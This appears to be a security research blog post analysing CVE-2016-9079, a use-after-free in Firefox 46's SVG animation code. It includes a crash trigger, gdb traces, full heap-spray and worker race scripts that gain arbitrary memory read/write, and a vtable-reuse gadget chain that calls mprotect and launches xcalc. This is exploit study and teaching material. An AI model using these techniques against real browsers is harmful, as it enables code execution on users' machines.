Analysis on CVE-2016-9079

Introduction

This is a use-after-use vulnerability in the firefox before 50.2 [1]. In this post, the exploit is a routine browser exploitation process. Since exploit [1] is a working exploit on windows platform, I rewrite the exploit to make it work on Linux platform and test some ideas on vtable reuse attacks. I use a chain of multiple virtual function gadgets to change memory protection and open a listening port or popping up calculator. The final exploit can be found on my github repo[3].

Testing Environment

OS:Ubuntu 16.04.01 X64
Target: Firefox 46.0 compiled with gcc-4.9 for final exploitation

Root Cause Analysis

Since the main focus of this exploit is to test vtable reuse attacks in practice. I did not take much time analysing the root cause of the crash.
We use the crash script given on [2] and get a crash info.

<script>
var worker = new Worker('data:javascript,self.onmessage=function(msg){postMessage("one");postMessage("two");};');
worker.postMessage("zero");
var svgns = 'http://www.w3.org/2000/svg';
worker.onmessage = function(e) {containerA.pauseAnimations();}
var craftDOM = function()
{
  containerA = document.createElementNS(svgns, 'svg')
  var containerB = document.createElementNS(svgns, 'svg');
  animateX = document.createElementNS(svgns, 'animate')
  var animateA = document.createElementNS(svgns, 'animate')
  var animateB = document.createElementNS(svgns, 'animate')
  var animateC = document.createElementNS(svgns, 'animate')
  var idA = "ia";
  var idC = "ic";
  animateA.setAttribute('id', idA);
  animateA.setAttribute('end', '50s');
  animateB.setAttribute('begin', '60s');
  animateB.setAttribute('end', idC + '.end');
  animateC.setAttribute('id', idC);
  animateC.setAttribute('end', idA + '.end');
  containerA.appendChild(animateX)
  containerA.appendChild(animateA)
  containerA.appendChild(animateB)
  containerB.appendChild(animateC)
  document.body.appendChild(containerA);
  document.body.appendChild(containerB);
}
window.onload = craftDOM;
</script>

In the end, we get the crash info as following:

Thread 1 "firefox" received signal SIGSEGV, Segmentation fault.
nsSMILTimedElement::HandleContainerTimeChange (this=0xe5e5e5e5e5e50111) at /home/dango/Development/firefox-46.0/dom/smil/nsSMILTimedElement.cpp:765
765	  if (mElementState == STATE_WAITING || mElementState == STATE_ACTIVE) {
(gdb) info r
rax            0xe5e5e5e5e5e50111	-1880844493790052079
rbx            0x7fffbd068b20	140736364710688
rcx            0x3	3
rdx            0x7fffc2627540	140736454620480
rsi            0x0	0
rdi            0xe5e5e5e5e5e50111	-1880844493790052079
rbp            0x7fffc2627a00	0x7fffc2627a00
rsp            0x7fffffffae18	0x7fffffffae18
r8             0x0	0
r9             0xfc	252
r10            0x0	0
r11            0x7fffbd168680	140736365758080
r12            0x7fffebfbfd80	140737152548224
r13            0x264	612
r14            0x5	5
r15            0x7fffffffae70	140737488334448
rip            0x7fffe8eb9450	0x7fffe8eb9450 <nsSMILTimedElement::HandleContainerTimeChange()>
eflags         0x10212	[ AF IF RF ]
cs             0x33	51
ss             0x2b	43
ds             0x0	0
es             0x0	0
fs             0x0	0
gs             0x0	0
(gdb) x/20wx $rbx-0x20
0x7fffbd068b00:	0xbd04d040	0x00007fff	0xc26fd730	0x00007fff
0x7fffbd068b10:	0xc45026d0	0x00007fff	0xe5e50001	0xe5e5e5e5
0x7fffbd068b20:	0x00000001	0x00000001	0x0000c350	0x00000000
0x7fffbd068b30:	0xe6a89b01	0x30f9e7f3	0xbd1c6000	0x00007fff
0x7fffbd068b40:	0x6d726f46	0x696c6156	0x69746164	0x483a6e6f

At this point, we can find that this pointer is replaced with 0xe5e5e5e5e5e50111.

//jemalloc.c

static inline void
arena_dalloc_small(arena_t *arena, arena_chunk_t *chunk, void *ptr,
    arena_chunk_map_t *mapelm)
{
	arena_run_t *run;
	arena_bin_t *bin;
	size_t size;

	run = (arena_run_t *)(mapelm->bits & ~pagesize_mask);
	RELEASE_ASSERT(run->magic == ARENA_RUN_MAGIC);
	bin = run->bin;
	size = bin->reg_size;

#ifdef MALLOC_FILL
	if (opt_poison)
		memset(ptr, 0xe5, size); // at the time of freeing chunks, the deallocated area will be filled with 0xe5
#endif
}

I review the source code of JE allocation in firefox and find the code above. I can find that the freed chunk will be filled with 0xe5 in the buffer. At this point, I infer that it’s a use-after-free vulnerability and start to write exploit based on this.

The condition to trigger the vulnerability is also strict. The code snippet below demonstrates the crash site

We set a breakpoint at the instruction cmp rbx, rax with the following debugging script:

break *0x00007fffe8eb948b #the address of cmp rbx, rax
commands
p/x $rax
p/x $rbx
x/4wx $rbx
p "$rbp"
x/20wx $rbp
end

And we can get the following output

# 4th hit
Thread 1 "firefox" hit Breakpoint 2, 0x00007fffe8eb948b in nsSMILTimeContainer::NotifyTimeChange (this=0x7fffc33c7800) at /home/dango/Development/firefox-46.0/dom/smil/nsSMILTimeContainer.cpp:314
314	  while (p < mMilestoneEntries.Elements() + mMilestoneEntries.Length()) {
$1 = 0x7fffa43ddb80
$2 = 0x7fffa43ddb68
0x7fffa43ddb68:	0x0000c350	0x00000000	0x14a9b301	0xed9d54d1
$3 = "$rbp"
0x7fffc33c7800:	0xec0e1410	0x00007fff	0xc4d0e690	0x00007fff
0x7fffc33c7810:	0x00001ac9	0x00000000	0x00000000	0x00000000
0x7fffc33c7820:	0x00001ac9	0x00000000	0xe5000001	0x00000002
0x7fffc33c7830:*0xa43ddb00	0x00007fff*	0xe5e5e5e5	0xe5e5e5e5
0x7fffc33c7840:	0x00000003	0x80000003	0xd4070970	0x00007fff

#5th hit
Thread 1 "firefox" hit Breakpoint 2, 0x00007fffe8eb948b in nsSMILTimeContainer::NotifyTimeChange (this=0x7fffc33c7800) at /home/dango/Development/firefox-46.0/dom/smil/nsSMILTimeContainer.cpp:314
314	  while (p < mMilestoneEntries.Elements() + mMilestoneEntries.Length()) {
$10 = 0x7fffa4341698
$11 = 0x7fffa43ddb80
0x7fffa43ddb80:	0xafffff20	0x00007fff	0xafffff20	0x00007fff
$12 = "$rbp"
0x7fffc33c7800:	0xec0e1410	0x00007fff	0xc4d0e690	0x00007fff
0x7fffc33c7810:	0x00001ac9	0x00000000	0x00000000	0x00000000
0x7fffc33c7820:	0x00001ac9	0x00000000	0xe5000001	0x00000002
0x7fffc33c7830:*0xa4341600	0x00007fff*	0xe5e5e5e5	0xe5e5e5e5
0x7fffc33c7840:	0x00000003	0x80000003	0xd4070970	0x00007fff

After the 4th hit of the breakpoint, the value in $rbx (index value) is 0x7fffa43ddb68 (0x7fffa43ddb00 + 0x8 + 0x18x4). At this moment, the value in $rax (end) is 0x7fffa43ddb80 such that the for loop should end at next iteration. However, in the next iteration the value of $rax is updated to 0x7fffa4341698 (0x7fffa4341600 + 0x8 + 0x18x6) and the value of $rbx is added with 0x18. The value of $rax is an address of a newly allocated chunk. If $rax is less than $rbx, the for loop will end as a normal one.
In a word, the vulnerability takes place if $rax is larger than $rbx. The for loop will go on and the value in $rbx will be added with 0x18 continuously and unintended memory corruption takes places. Such operation will go on until the instruction fetches unmapped or unreadable memory.

In the next, I am first going to explain how I gain arbitrary read/write primitive. Then I will explain how I use vtable reuse attacks to launch attack.

Gaining Arbitrary Read and Write

To explain how I gain arbitrary read and write in the end, we use the following demo script to explain.

//crash.html
crash.html
<html>
<head>
<script>
var shellcode = '\u4141\u4141';
var worker = new Worker('worker.js');
worker.postMessage(shellcode);

var svgns = 'http://www.w3.org/2000/svg';
var heap80 = new Array(0x5000);
var heap100 = new Array(0x100);
var block100 = new ArrayBuffer(0x100);
var block80 = new Uint32Array(0x20); 

var sprayBase =  undefined;
var arrBase = undefined;
var arrIndex = 0;

var animateX = undefined;
var containerA = undefined;

var idGenerator = function(){
      return 'id' + (((1+Math.random())*0x10000)|0).toString(16).substring(1);
}

var exploit = function()
{
	var u32 = new Uint32Array(block80);
	for(i=0; i< block80.length; i++)
	{
	  if(i%2 == 0){
		block80[i] = 0xb0000030 - 0x110;
	  }
	  else if(i%2 == 1){
		block80[i] = 0x7fff;
	  }
	}
        for(i = 0; i < heap80.length/2; i++)
        {
          heap80[i] = block80.slice(0)
        }
        animateX.setAttribute('begin', '59s')
        animateX.setAttribute('begin', '58s')
        for(i = 0; i < heap80.length; i++)
        {
          heap80[i] = block80.slice(0)
        }
        animateX.setAttribute('begin', '10s')
        animateX.setAttribute('begin', '9s')
        containerA.pauseAnimations();
}

worker.onmessage = function(e){
    worker.onmessage = function(e)
    {
	arrIndex = e.data;
        window.setTimeout(function(){
            worker.terminate();
            document.body.innerHTML = '';
            document.getElementsByTagName('head')[0].innerHTML = '';
            document.body.setAttribute('onload', '')
          }, 10000);
    }
    arrBase = e.data;
    alert(arrBase);
    exploit();
}

var craftDOM = function(){
      containerA = document.createElementNS(svgns, 'svg')
      var containerB = document.createElementNS(svgns, 'svg');
      animateX = document.createElementNS(svgns, 'animate')
      var animateA = document.createElementNS(svgns, 'animate')
      var animateB = document.createElementNS(svgns, 'animate')
      var animateC = document.createElementNS(svgns, 'animate')
      var idX = idGenerator();
      var idA = idGenerator();
      var idB = idGenerator();
      var idC = idGenerator();
      animateX.setAttribute('id', idX);
      animateA.setAttribute('id', idA);
      animateA.setAttribute('end', '50s');
      animateB.setAttribute('id', idB);
      animateB.setAttribute('begin', '60s');
      animateB.setAttribute('end', idC + '.end');
      animateC.setAttribute('id', idC);
      animateC.setAttribute('begin', '10s');
      animateC.setAttribute('end', idA + '.end');
      containerA.appendChild(animateX)
      containerA.appendChild(animateA)
      containerA.appendChild(animateB)
      containerB.appendChild(animateC)
      document.body.appendChild(containerA);
      document.body.appendChild(containerB);
}
window.onload = craftDOM;
</script>

<style>
	#mtdiv{
            position: absolute;
            width: 960px;
            height: 166px;
            z-index: 15;
            top: 100px;
            left: 50%;
            margin: 0 0 0 -480px;
        }
</style>
</head>
<body bgcolor='#2F3236'>
</body>
</html>
//worker.js
self.onmessage = function(msg) {
	var conv = new ArrayBuffer(8);
	var convf64 = new Float64Array(conv);
	var convu32 = new Uint32Array(conv);

	var qword2Double = function(a, b){
		convu32[0] = b;
		convu32[1] = a;
		return convf64[0];
	}

	var doubleFromFloat = function(b, a){
		convf64[0] = b;
		return convu32[a];
	}

	var vtable_offset = 308; // to work


	var arrBase = 0x7fffb0000010;
	var ropArrBuf = new ArrayBuffer(0x4000);
	var fzero = qword2Double(0x43434343, 0x43434343);
	var spr = Array(400);
	var regionsize = 0x3;
	var loopCount = 0x1f000;
	var memory1 = new Uint32Array(ropArrBuf);
	var memory2 = new Uint32Array(ropArrBuf);
	memory1[1] = 0xdeadbeef;
	memory2[2] = 0xcafebabf;
	memory2[3] = 0xdeadbef0;
	sprayArrays = function() {
		for(var b=Array(0x1fffa), a=0; a<0x1fffa; a++)
		{
			b[a] = fzero;
		}
		
		b[0] = qword2Double(0x7fff, 0xb0001000);  //0x7fff c0000010
		b[1] = qword2Double(0xdeadbeef, 0x42424242);
		
		b[2] = memory1;
		b[3] = memory2;

		for(a=0; a<spr.length; a++){
			spr[a] = b.slice(0);
		}
	}

	var len = memory1.length;
	var arr_index = 0;
	var arr_offset = 0;
	var arr_length = 0;
	var mArray = undefined;
	var originalLength = 0x1fffa;
	sprayArrays();
	Math.asin(1);
	mArray = spr[1];
	mArray[0x20000-2] = qword2Double(0x41414141, 0);
	mArray[0x20000-1] = qword2Double(0x41414141, 0x41414141);

	Math.atan2(6, 6)
	postMessage(mArray[0x20000]);
	postMessage(arr_length);
};

Let’s view the internal of Array and Uint32Array first.

(gdb) x/20wx 0x7fffc0a00000
0x7fffc0a00000:	0x00000000	0x00040000	0x00040000	0x00040000
0x7fffc0a00010:	0xb0001000	0x00007fff	0x42424242	0xdeadbeef
0x7fffc0a00020:	0xc0d2f080	0xfffc7fff	0xc0d2f140	0xfffc7fff
0x7fffc0a00030:	0x43434343	0x43434343	0x43434343	0x43434343
0x7fffc0a00040:	0x43434343	0x43434343	0x43434343	0x43434343
(gdb) x/20wx 0x7fffc0b00000
0x7fffc0b00000:	0x00000000	0x41414141	0x41414141	0x41414141
0x7fffc0b00010:	0xb0001000	0x00007fff	0x42424242	0xdeadbeef
0x7fffc0b00020:	0xc0d2f080	0xfffc7fff	0xc0d2f140	0xfffc7fff
0x7fffc0b00030:	0x43434343	0x43434343	0x43434343	0x43434343
0x7fffc0b00040:	0x43434343	0x43434343	0x43434343	0x43434343
(gdb) x/20wx 0x7fffc0d2f080
0x7fffc0d2f080:	0xc0d2c490	0x00007fff	0xc0d2e218	0x00007fff
0x7fffc0d2f090:	0x00000000	0x00000000	0xeb1c34f0	0x00007fff
0x7fffc0d2f0a0:	0xc0d2f040	0xfffc7fff	0x00001000	0xfff88000
0x7fffc0d2f0b0:	0x00000000	0xfff88000	0xc320b000	0x00007fff
0x7fffc0d2f0c0:	0xc0d2c2e0	0x00007fff	0xc0d2e100	0x00007fff
(gdb) x/20wx 0x7fffc0d2f140
0x7fffc0d2f140:	0xc0d2c4c0	0x00007fff	0xc0d2e218	0x00007fff
0x7fffc0d2f150:	0x00000000	0x00000000	0xeb1c34f0	0x00007fff
0x7fffc0d2f160:	0xc0d2f040	0xfffc7fff	0x00001000	0xfff88000
0x7fffc0d2f170:	0x00000000	0xfff88000	0xc320b000	0x00007fff
0x7fffc0d2f180:	0x00000000	0x00000000	0x00000000	0x00000000
(gdb) x/20wx 0x7fffc320b000
0x7fffc320b000:	0xcafebabe	0xdeadbeef	0xcafebabf	0xdeadbef0
0x7fffc320b010:	0x00000000	0x00000000	0x00000000	0x00000000
0x7fffc320b020:	0x00000000	0x00000000	0x00000000	0x00000000
0x7fffc320b030:	0x00000000	0x00000000	0x00000000	0x00000000
0x7fffc320b040:	0x00000000	0x00000000	0x00000000	0x00000000

Objects located at 0x7fffc0a00000 and 0x7fffc0b00000 are two Array objects. For Array object at 0x7fffc0a00000, value 0x00040000 at 0x7fffc0a00004, 0x7fffc0a00008, 0x7fffc0a0000c are used for different uses in array operation, our first goal is to create a victim Array object at 0x7fffc0b00000.

At this point, a corrupted Array can at most enable us to read/write about 16GB (2^32 x 4) with the corrupted metadata in Array object. To enable the arbitrary read/write on the whole memory address space, we need to take a further step.

Two Uint32Array objects are located at 0x7fffc0d2f080 and 0x7fffc0d2f140. Those two addresses can be retrieved via the corrupted Array object. Those two values can be retrieved at 0x7fffc0b00020 and 0x7fffc0b00028. The buffer pointer 0x7fffc320b000 is located at
0x7fffc0d2f0b8 and 0x7fffc0d2f178. We can corrupt the buffer pointer and gain full arbitrary read/write primitive in the end.

To explain how we get a corrupted array at 0x7fffc0b00000, I first explain the code below that triggers initial memory corruption.

The code that corrupts the metadata of victim Array objects is inc [rdx]. However, the instruction is used to record the reference count of the object. After the execution ends, the reference count will be restored to the original value

To put it simple, if we arrange the heap layout as below, the corrupted Array object cannot be used for read/write stably since the corrupted metadata will be restored to original value.

[<--victim Array-->][<--corrupted Array-->]

To overcome this problem, I have to arrange the array layout as below:

[<--victim Array-->][<--corrupted Array1-->][<--corrupted Array2-->]

I create worker process to exploit a race condition to achieve a stable exploit.
I corrupt the metadata of Array1 first. During the interval that the metadata of Array1 is corrupted, the worker process is responsible for locating Array1 and corrupt the metadata of next adjacent Array2. Even if the metadata of Array1 is restored afterwards, the metadata of Array2 is still corrupted and I can use Array2 for arbitrary read/write.

Control Flow Hijacking

After proving the ability of arbitrary read/write, we next show how we hijack control flow via vtable reuse attacks. To avoid potential trouble, the final exploit is just a demo exploit with ASLR disabled under GDB.
To execute shellcode in the end, the basic plan is given below:
(1)hijack control flow of virtual function call,
(2)prepare argument register for mprotect,
(3)execute shellcode

To hijack control flow, we choose to craft vtable for a virtual function call in
nsIContent::GetFlattenedTreeParent()
At the callsite of virtual function call, the instruction is 0x00007fffe839f109 : callq *0x298(%rax) and value in $rbp and $rax are under our control.

(gdb) disassemble _ZNK10nsIContent22GetFlattenedTreeParentEv
Dump of assembler code for function nsIContent::GetFlattenedTreeParent() const:
   0x00007fffe839f098 <+0>:	push   %rbp
   0x00007fffe839f099 <+1>:	push   %rbx
   0x00007fffe839f09a <+2>:	mov    %rdi,%rbp
   0x00007fffe839f09d <+5>:	push   %rcx
   0x00007fffe839f09e <+6>:	callq  0x7fffe818bb70 <nsINode::GetParent() const>
   0x00007fffe839f0a3 <+11>:	test   %rax,%rax
   0x00007fffe839f0a6 <+14>:	mov    %rax,%rbx
   0x00007fffe839f0a9 <+17>:	je     0x7fffe839f0f5 <nsIContent::GetFlattenedTreeParent() const+93>
   0x00007fffe839f0ab <+19>:	mov    %rax,%rdi
   0x00007fffe839f0ae <+22>:	callq  0x7fffe833765e <nsContentUtils::HasDistributedChildren(nsIContent*)>
   0x00007fffe839f0b3 <+27>:	test   %al,%al
   0x00007fffe839f0b5 <+29>:	je     0x7fffe839f0f5 <nsIContent::GetFlattenedTreeParent() const+93>
   0x00007fffe839f0b7 <+31>:	mov    %rbp,%rsi
   0x00007fffe839f0ba <+34>:	mov    %rbx,%rdi
   0x00007fffe839f0bd <+37>:	callq  0x7fffe8334c46 <nsContentUtils::IsInSameAnonymousTree(nsINode const*, nsIContent const*)>
   0x00007fffe839f0c2 <+42>:	test   %al,%al
   0x00007fffe839f0c4 <+44>:	je     0x7fffe839f0f5 <nsIContent::GetFlattenedTreeParent() const+93>
   0x00007fffe839f0c6 <+46>:	mov    0x0(%rbp),%rax
   0x00007fffe839f0ca <+50>:	mov    %rbp,%rdi
   0x00007fffe839f0cd <+53>:	callq  *0x290(%rax)
   0x00007fffe839f0d3 <+59>:	test   %rax,%rax
   0x00007fffe839f0d6 <+62>:	je     0x7fffe839f11f <nsIContent::GetFlattenedTreeParent() const+135>
   0x00007fffe839f0d8 <+64>:	mov    (%rax),%rdx
   0x00007fffe839f0db <+67>:	cmpl   $0x0,(%rdx)
   0x00007fffe839f0de <+70>:	je     0x7fffe839f11f <nsIContent::GetFlattenedTreeParent() const+135>
   0x00007fffe839f0e0 <+72>:	mov    %rax,%rdi
   0x00007fffe839f0e3 <+75>:	callq  0x7fffe83aae0e <nsTArray_Impl<nsIContent*, nsTArrayInfallibleAllocator>::LastElement()>
   0x00007fffe839f0e8 <+80>:	mov    (%rax),%rdi
   0x00007fffe839f0eb <+83>:	callq  0x7fffe818bb70 <nsINode::GetParent() const>
   0x00007fffe839f0f0 <+88>:	mov    %rax,%rbx
   0x00007fffe839f0f3 <+91>:	jmp    0x7fffe839f0fb <nsIContent::GetFlattenedTreeParent() const+99>
   0x00007fffe839f0f5 <+93>:	testb  $0x1,0x19(%rbp)
   0x00007fffe839f0f9 <+97>:	jne    0x7fffe839f102 <nsIContent::GetFlattenedTreeParent() const+106>
   0x00007fffe839f0fb <+99>:	test   %rbx,%rbx
   0x00007fffe839f0fe <+102>:	jne    0x7fffe839f117 <nsIContent::GetFlattenedTreeParent() const+127>
   0x00007fffe839f100 <+104>:	jmp    0x7fffe839f11f <nsIContent::GetFlattenedTreeParent() const+135>
   0x00007fffe839f102 <+106>:	mov    0x0(%rbp),%rax
   0x00007fffe839f106 <+110>:	mov    %rbp,%rdi
   0x00007fffe839f109 <+113>:	callq  *0x298(%rax)

Different from the paper that uses scratch register to load values in to argument registers, I use a more affirmative way to load values into argument registers. But I do not use existing virtual tables in read-only memory to do this job. Instead, I am still using vtable injection injection to invoke virtual function gadget. But I chain the virtual function gadgets in a row to change memory protection flag.

First of all, I need an auxiliary virtual function gadget. This gadget is used to load value from fake object to rax as return value.

(gdb) disassemble 0x7fffe8282680
Dump of assembler code for function mozilla::layers::BufferTextureHost::GetSize() const:
   0x00007fffe8282680 <+0>:	mov    0x98(%rdi),%rax
   0x00007fffe8282687 <+7>:	retq   
End of assembler dump.

Then I use multiple virtual function gadgets to load argument register

void nsCyrXPCOMDetector::Report(const char* aCharset)
{
  NS_ASSERTION(mObserver != nullptr , "have not init yet");
  mObserver->Notify(aCharset, eBestAnswer);
}

(gdb) disassemble 0x7fffe80499c2
Dump of assembler code for function nsCyrXPCOMDetector::Report(char const*):
   0x00007fffe80499c2 <+0>:	mov    0x50(%rdi),%rdi
   0x00007fffe80499c6 <+4>:	mov    $0x1,%edx
   0x00007fffe80499cb <+9>:	mov    (%rdi),%rax
   0x00007fffe80499ce <+12>:	mov    0x18(%rax),%rax
   0x00007fffe80499d2 <+16>:	jmpq   *%rax
End of assembler dump.


RecordedPushClip::PlayEvent(Translator *aTranslator) const
{
  aTranslator->LookupDrawTarget(mDT)->PushClip(aTranslator->LookupPath(mPath));
}

(gdb) disassemble 0x7fffe81c277c
Dump of assembler code for function mozilla::gfx::RecordedPushClip::PlayEvent(mozilla::gfx::Translator*) const:
   0x00007fffe81c277c <+0>:	push   %r13
   0x00007fffe81c277e <+2>:	push   %r12
   0x00007fffe81c2780 <+4>:	mov    %rdi,%r12
   0x00007fffe81c2783 <+7>:	push   %rbp
   0x00007fffe81c2784 <+8>:	push   %rbx
   0x00007fffe81c2785 <+9>:	mov    %rsi,%rbx
   0x00007fffe81c2788 <+12>:	push   %rax
   0x00007fffe81c2789 <+13>:	mov    (%rbx),%rax
   0x00007fffe81c278c <+16>:	mov    0x28(%rdi),%rsi
   0x00007fffe81c2790 <+20>:	mov    %rbx,%rdi
   0x00007fffe81c2793 <+23>:	callq  *0x10(%rax)
   0x00007fffe81c2796 <+26>:	mov    %rax,%rbp
   0x00007fffe81c2799 <+29>:	mov    (%rax),%rax
   0x00007fffe81c279c <+32>:	mov    0x30(%r12),%rsi
   0x00007fffe81c27a1 <+37>:	mov    %rbx,%rdi
   0x00007fffe81c27a4 <+40>:	mov    0xd0(%rax),%r13
   0x00007fffe81c27ab <+47>:	mov    (%rbx),%rax
   0x00007fffe81c27ae <+50>:	callq  *0x18(%rax)
   0x00007fffe81c27b1 <+53>:	pop    %rdx
   0x00007fffe81c27b2 <+54>:	mov    %rax,%rsi
   0x00007fffe81c27b5 <+57>:	mov    %rbp,%rdi
   0x00007fffe81c27b8 <+60>:	mov    %r13,%rax
   0x00007fffe81c27bb <+63>:	pop    %rbx
   0x00007fffe81c27bc <+64>:	pop    %rbp
   0x00007fffe81c27bd <+65>:	pop    %r12
   0x00007fffe81c27bf <+67>:	pop    %r13
   0x00007fffe81c27c1 <+69>:	jmpq   *%rax
End of assembler dump.

After RecordedPushClip::PlayEvent, values in rdi and rsi are under our control. After nsCyrXPCOMDetector::Report, values in rdi, rsi and rdx are under our control. In COOP, an invoking gadget is still required to invoke a function pointer. I skip this step in my demo exploit and jump to the function that changes protection flag.

In my demo exploit, the function I pick to change protection flag is give below:

ExecutableAllocator::reprotectRegion(void* start, size_t size, ProtectionSetting setting)
{
    intptr_t startPtr = reinterpret_cast<intptr_t>(start);
    intptr_t pageStartPtr = startPtr & ~(pageSize - 1);
    void* pageStart = reinterpret_cast<void*>(pageStartPtr);
    size += (startPtr - pageStartPtr);
    // Round size up
    size += (pageSize - 1);
    size &= ~(pageSize - 1);

    return !mprotect(pageStart, size, (setting == Writable) ? FLAGS_RW : FLAGS_RX);
}

With three argument registers under my control, I can set any area in memory to executable. To pop up xcalc, we use the system@plt to execute system(“xcalc”). The string is prepared together during our heap spray process.

Conclusion

In this post, I give a brief introduction on how to exploit a use-after-free vulnerability in firefox. I analyse the root cause of the crash a bit and explain the internal of of gaining arbitrary read/write primitives in the end. More importantly, I pick some virtual function gadgets from libxul.so to achieve all necessary operations as a simple practice of COOP.

Reference

[1] https://www.exploit-db.com/exploits/41151/
[2] https://bugzilla.mozilla.org/show_bug.cgi?id=1321066
[3] https://github.com/dangokyo/CVE-2016-9079

3 thoughts on “Analysis on CVE-2016-9079

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.